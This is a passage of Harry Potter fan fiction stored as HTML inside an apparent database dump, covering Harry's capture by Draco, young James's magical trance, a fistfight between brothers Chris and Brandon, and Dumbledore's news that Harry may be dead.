class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He dropped his wand at his side and\nstuck his head behind the bush, &#8220;Potter you are so stupid when it comes to\nhiding.&#8221; He said shaking his head and grabbing Harry by the back of his\nshirt.&nbsp; He tried to struggle to get\naway, he had gotten a few lucky shots in but then Draco jabbed him in his injured\nshoulder, &#8220;Calm down potter, you just lost your walking privileges.&#8221;&nbsp; Harry stopped struggling from the pain in\nhis shoulder, and kept his mouth shut.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~`*`~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was about lunchtime by the time\nChris and Kat had come home.&nbsp; They\npulled up and heard that Brandon and Nick were practicing, &#8220;I hope they didn&#8217;t\ndrive my mother crazy.&#8221; Chris said taking Kat&#8217;s hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They went inside and saw that\neveryone was on the house but Nick and Brandon were also not playing it was the\nstereo.&nbsp; Kat went and sat down with\nMandy who was <i>trying </i>to read but with the music so loud it looked like a\nlosing battle.&nbsp; Kat was surprised to see\nthe title of the book <i>&nbsp;&#8216;The Notebook&#8217;\n</i>she bent down and started to talk to her, Mandy knew she wasn&#8217;t getting the\nreading done so she marked her book and started a conversation with Kat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ste was sitting on the back deck\nwith his father talking about Qudditch and football.&nbsp; Chris went and looked for his mother, &#8220;Mum.&#8221; He yelled up the\nstairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione peeked from the top stair\nand looked down, she gestured for him to come up stairs with a worried\nface.&nbsp; Chris came up and looked at his\nmother&#8217;s expression, &#8220;Mum what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;James.&#8221; She said quietly, &#8220;He came\nin my room last night because he had some nightmares but he hasn&#8217;t woken up\nsince.&nbsp; He&#8217;s pale and just doesn&#8217;t\nmove.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris walked in his mother&#8217;s room\nand looked at his little brother, &#8220;Did you try to shake him awake?&#8221; He asked\nfeeling his brothers face, &#8220;He&#8217;s cold.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes but he has a pulse.&#8221; Hermione\nexplained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Has this happened before?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mum I don&#8217;t know if this is good,\nwe got to get him to a hospital.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But, what if they hurt him, what,\nwhat if this is something to do with Magic?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Then we need to find help.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris lifted James in his arms and\ntook him downstairs.&nbsp; Everyone was\nhappier then the previous afternoon. Chris walked into the living room and\nyelled for them to be quiet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone looked at him holding James\nand instantly the music stopped and everyone went dead silent.&nbsp; Chris put James on the couch and looked at\nhis mother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do we do?&#8221; Chris asked her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh My God, Is he ok?&#8221; Kat asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We don&#8217;t know.&nbsp; He has a pulse but he won&#8217;t wake up.&#8221;\nHermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s in a trance.&#8221; A voiced spoke\nfrom the hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Every head looked toward the hallway\nto see whom it was, &#8220;You all seem surprised to see me.&#8221; He said cheerfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dumbledore!&#8221; Ron was the first to\nspeak.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mr. Weasley.&#8221; Her nodded to Ron,\n&#8220;Good to see you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was another stream of silence\nas Dumbledore walked around to see James.&nbsp;\nHe put his figures on the boys neck, &#8220;There&#8217;s a pulse.&#8221; He put his hand\nin front of his nose, &#8220;The air is coming out.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sir, do you know what is wrong with\nhim?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mmmm.&#8221; He said standing up, &#8220;Yes I\ndo.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221; Brandon asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s going threw a stage of\ntransformation.&#8221; Dumbledore said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Transformation?&#8221; Chris and Brandon\nsaid in unison.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well a series of them.&#8221; Dumbledore\nexplained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why?&#8221; Chris asked again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s switching over to the magical\nworld&#8230;&#8221; Everyone looked from Dumbledore to James in a mix of shock and\nsurprise; &#8220;He&#8217;s going to be a wizard after all Mrs. Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~`*`~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/n-\nOk I hope you enjoyed that chapter it was like 17 pages long and I tried to\nmake up for the forgotten time.&nbsp; Just so\nyou all remember I&#8217;m now posting at www.portkey.org\nand to be honest to all I ff.net people, if your area person who can&#8217;t wait to\nread it (Megan) portkey.org updates that day.&nbsp;\nFF.net takes up to 24 hours, same for the reviews so I would suggest you\ngo there if ur a reader and a poster you should go there.&nbsp; </p>\n\n<p class="MsoNormal">Please\nreview cuz it really helps me write better even flame but it&#8217;s a review.&nbsp; If you have ideas to help me out and make\nthe story better TELL ME I would love to hear your ideas!</p>\n\n<p class="MsoNormal">Thanks\nto all that have reviewed on ff.net and portkey! I love you guys so much!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(277, 6, '\n\n\n\n<p class="MsoNormal">A/n: Hey guys!&nbsp; Ok for all you people at Portkey.org&#8230; I have\nnow two stories up; the downside is that it&#8217;s the same one. I have no clue how\nto delete chapters and edit either&#8230; I don&#8217;t think you can anyway&#8230; This chapter\nis basically about James&#8230;. He&#8217;s transforming! And we&#8217;ll have some of Harry, but\nhe&#8217;s not going to be looking to good.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 6</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">The Secret</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How could you not tell us mum!&#8221; Chris yelled after\nHermione explained what Dumbledore was talking bout.&nbsp; &#8220;How could you not tell us that our little brother could be a\nsquib!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone was in the living room looking at James and he\nlay motionless on the couch, Dumbledore stood in front of an upset and\nthreatened looking Hermione and spoke to her upset children and guest&#8217;s, &#8220;If I\nshould announce, there are some side effects that you should all know about, if\nyou will all please sit down, we have a lot to talk about; and not just about\nyoung James here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris and Brandon sat down away from there mother,\nobviously upset about her secret, Hermione noticed this as instantly spoke,\n&#8220;Your father didn&#8217;t know either, I was going to tell him last night, but&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mentioning Harry!&#8221; Dumbledore jumped in, &#8220;I have a few\nthings to say about this situation on him, but I&#8217;m afraid it&#8217;s not good.&#8221;&nbsp; Everyone was quiet when Dumbledore\nspoke.&nbsp; &#8220;I think that we should talk\nabout this&#8230;&#8221; He paused and looked at everyone, &#8220;We were doing a test and Harry\nvolunteered to be a subject of the test.&nbsp;\nWe had given him a potion that would mark his existence to where ever he\nwas in the world, if our test succeeded with him we would go public with it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But why sir?&#8221; Ron asked, &#8220;Was there any reason for this\nlike for safety purposes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes Ron, it seems that there has been a great deal of\nDark magic being produced around the coast and borderlines of the U.S and\nEurope.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Could that have been why the portkey&#8217;s and floo networks\nhaven&#8217;t been working properly?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Partly yes.&nbsp; You\nsee this whole thing is supposed to work like a tracking device&#8230; if something\nwere to happen to Harry we would be able to track him, but something went\nterribly wrong yesterday, and when I found out I left for here as soon as\npossible.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You mean&#8230;&#8221; Chris said feeling his heart drop into his\nstomach again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Brandon, you guys should head outside&#8230;&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why do <i>we</i> always have to leave a room, why\ndoesn&#8217;t Ste or Chris have to leave?&#8221; Brandon said in defense.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because I&#8217;m older you prat.&#8221; Chris said hitting him\nupside the head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Chris maybe you guys should leave too.&#8221; Ron suggested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris&#8217;s head whipped around at Ron, &#8220;What? Why?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked at Ron as well.&nbsp; Ron went on, &#8220;Because my boy, your only 16, you seem to be to old\nfor your time and I think that us being the grown ups here should talk alone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But without my father who is going to be the man around\nhere, to help with my brothers and my mother.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked at Chris, &#8220;Honey, we have to have a talk\nlater&#8230; but for right now go with your brother.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris looked at everyone, dumbstruck at what was\nhappening, &#8220;But&#8230; But&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Chris just go, please we&#8217;ll talk later.&#8221; Hermione said\nsoftly but firm.&nbsp; Dumbledore walked over\nto Chris and mentioned him and everyone else to the kitchen.&nbsp; Chris just looked back at his mother in\ndisbelief.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Once everyone was in the kitchen Chris snapped out of his\ntrance and looked very upset.&nbsp; Ste put a\nhand on his shoulder but Chris just pushed it off and walked out onto his deck\nclosing the door behind him.&nbsp; Brett and\nBooker looked at them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nick, you think we should like&#8230; get brand and maybe go out\nfor a while? Maybe even take your sis with us and leave them alone?&#8221; Booker\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Were not going anywhere, I live here too, and nobody is\ngonna tell me I have to leave cause Saint Christopher is pissed off.&#8221;&nbsp; Brandon snapped, &#8220;He&#8217;s the prat that takes\nhis age as a VIP ticket into the grown up world.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah but Brand, he needs space&#8230;&#8221; Bret said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh yeah, well you wanna see what I can give him as\nspace.&#8221; Brandon walked out onto the deck and looked at his brother.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Everyone\nlooked outside at the two, you could hear that they were saying but the\nexpressions weren&#8217;t good. Chris stood from his spot and looked down at his\nbrother, the next thing you saw was Brandon push Chris and practically make him\ntrip over the chair.&nbsp; Ste then ran to\nthe door and slid it open knowing that it wasn&#8217;t going to be good.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Chris\npushed Brandon back and knocked him down.&nbsp;\nBrandon got up and then threw a punch at his brother but Chris grabbed\nhim by the wrist and lifted him under his arm and started walking off the deck.&nbsp; Ste walked out on the porch with Kat and\neveryone to follow.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You\nneed to learn a lesson little brother.&#8221; Chris said as he carried Brandon.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ass,\nlet go of me or I&#8217;ll tell mom!&#8221; He yelled trying to kick his older sibling.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Chris\nwalked over to the pool and walked over to the deep end of it, &#8220;If I hit you,\nyou would have something to use against me so I figure I won&#8217;t use physical\nfighting&#8230;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Chris,\nyou- you know I can&#8217;t hold my breath under water you wouldn&#8217;t&#8230;&#8221; Brandon looked\nscared.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Chris\nput your brother down!&#8221; Ste said from the deck, now heading over to the two.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Chris\nput his brother down and looked at him.&nbsp;\nWith out warning Brandon lunged at Chris and hit him square in the\njaw.&nbsp; When Nick and Ste saw that they\nran as fast as possible to the two.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You\nlil asshole!&#8221; Chris yelled grabbing his brother in a headlock and hitting him\nin the stomach with weak but affective blows.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Jerk!&#8221;\nBrandon choked out as he too tried to hit his brother in the stomach and back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ste\nand Nick came up to the two who were very close to the pools edge and broke\nthem up, Ste grabbing Chris and Nick gabbing Brandon.&nbsp; Chris breathing head was letting Set restrain him while Brandon\nwas trying to escape his friend&#8217;s grasp and attack his brother again.&nbsp; Brett and Booker had to then hold Brandon\nback.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Let\ngo of me, I&#8217;m good I&#8217;m good.&#8221; Brandon said looking at his brother.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The\nthree exchanged looks but took his word for it.&nbsp; Slowly they let the grip loose on Brandon but he moved to quick\nand they grabbed hold of him again but this time talking over to the pool and\npushed him the shallow end.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Dude\nyou really need to calm your ass down.&#8221; Bret said, as he looked at Brandon wipe\nthe water off his face.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Not\nwhen it comes to family.&#8221; Brandon eyed his brother, &#8220;I don&#8217;t need to.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You\nneed to calm your self with anyone lil brother&#8230; your gonna get in a fight with\nsomeone bigger than you and there not gonna go easy on you.&#8221; Chris said looking\ninto the water.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut up,&#8221; he said\nclimbing out of the pool.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Ron sat in the living room on the\nchairs.&nbsp; Dumbledore looked out the\nwindow up at the sky, &#8220;We don&#8217;t know if Harry is still alive.&#8221; He suddenly\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gasped at the news, &#8220;Your not serious! You- you\ncan&#8217;t be! They didn&#8217;t find anything but his uniform in the rubble, and a\nlighting bolt scorch burn was on it-&#8220; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Exactly!&#8221; Dumbledore cut her off, &#8220;That was the mark we\ngave him if he indeed didn&#8217;t make the transportation to his safe place.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron stood up, &#8220;So you&#8217;re saying that my best friend just\nmay be dead! After we told all those kids that he&#8217;s alive!&#8221; Dumbledore nodded,\n&#8220;And now we have to tell them that he may in fact be dead!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron sit down please let him talk.&#8221; Hermione said in\nstaring into the empty fireplace grabbing at air as she tried to reach for Ron,\nTears had formed in her eyes the realization of what was just said hit her with\nfull force.&nbsp; She tried to stand but when\nshe did it seamed that her legs wouldn&#8217;t function and she instantly headed for\nthe floor, but not before Ron could catch her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221; He said as his arms went under her to keep\nher from a hard crash.&nbsp; He lifted her up\nand put her on the couch next to James; kneeling down in front of her he asked,\n&#8220;Are you ok?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her face was to the ground; as she looked up at her\nfriend she had tears in her eyes. They looked like a dam waiting to brake of\nthe river behind it.&nbsp; Ron saw this and\nquickly embraced her in a hug of comfort and tried to calm her and tell her it\nwas all right, but even to his own ears it sounded fake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 